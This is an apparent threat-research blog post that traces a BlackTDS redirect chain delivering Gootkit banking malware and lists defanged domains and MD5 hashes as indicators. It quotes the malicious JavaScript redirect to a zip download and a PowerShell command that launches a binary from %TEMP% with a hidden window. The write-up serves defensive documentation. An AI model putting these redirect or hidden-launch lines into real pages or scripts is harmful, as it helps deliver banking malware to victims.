Malware Traffic Internals: BlackTDS Leads to Gootkit Banking Malware Distribution

Goal: Review and document latest BlackTDS traffic distribution leading to Gootkit banking malware.
Background
While analyzing the BlackTDS traffic distribution, I noticed the BlackTDS iframe leading to the zip archive download that would ultimately download the Gootkit banking malware. Gootkit banking malware gang appears to have started utilizing the BlackTDS for banking malware distribution in addition to the steady stream of spam campaigns (from Mailchip to Mailgun spam abuses), meticulously tracked by @dvk01uk.

https://platform.twitter.com/widgets.js

Traffic chain
I. BlackTDS domain redirect:

html, body { margin: 0; padding: 0; height : 100%; }
document.write(‘\location = \’hxxps://quickbooksa[.]com/data/Facture_FA03704.zip\’;\’);
<a href="/insert“>[BLOB][BLOB]
II. Download zip archive “Facture_FA03704.zip” containing a JavaScript loader
MD5 (Facture_FA03704.zip) = 71345b139166482acaa568ac8816c7bc
III. JavaScript loader “Facture_FA03704.js”:
MD5 (Facture_FA03704.js) = 1b60021baedc3f9201bcdb40e9b87f62
IV. Download Gootkit Binary “Facture_c04507.pdf“:
Domain: anythingpng[.]com/data/facture_c04507.pdf 
V. Binary launch through CMD/PowerShell loader in %TEMP%
MD5 (facture_c04507.pdf) = c7c8d584758854bbe0d8e64ef53ae1a8

cmd.exe /C PowerShell “Start-Sleep 280; try{Start-Process %TEMP%\.exe -WindowStyle Hidden} catch{ }

Mutex: “ServiceEntryPointThread”

Additional quick Gootkit anti-analysis:

Addendum: Indicators of Compromise (IOCs):
Domain:

  • hxxps://quickbooksa[.]com/data/Facture_FA03704[.]zip
  • anythingpng[.]com/data/facture_c04507[.]pdf 
Zip archive “Facture_FA03704.zip“:

  • MD5: 71345b139166482acaa568ac8816c7bc
JavaScript Loader “Facture_FA03704.js”:
  • MD5: 1b60021baedc3f9201bcdb40e9b87f62
Gootkit Binary “Facture_c04507.pdf”:

  • MD5: c7c8d584758854bbe0d8e64ef53ae1a8

One thought on “Malware Traffic Internals: BlackTDS Leads to Gootkit Banking Malware Distribution”

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s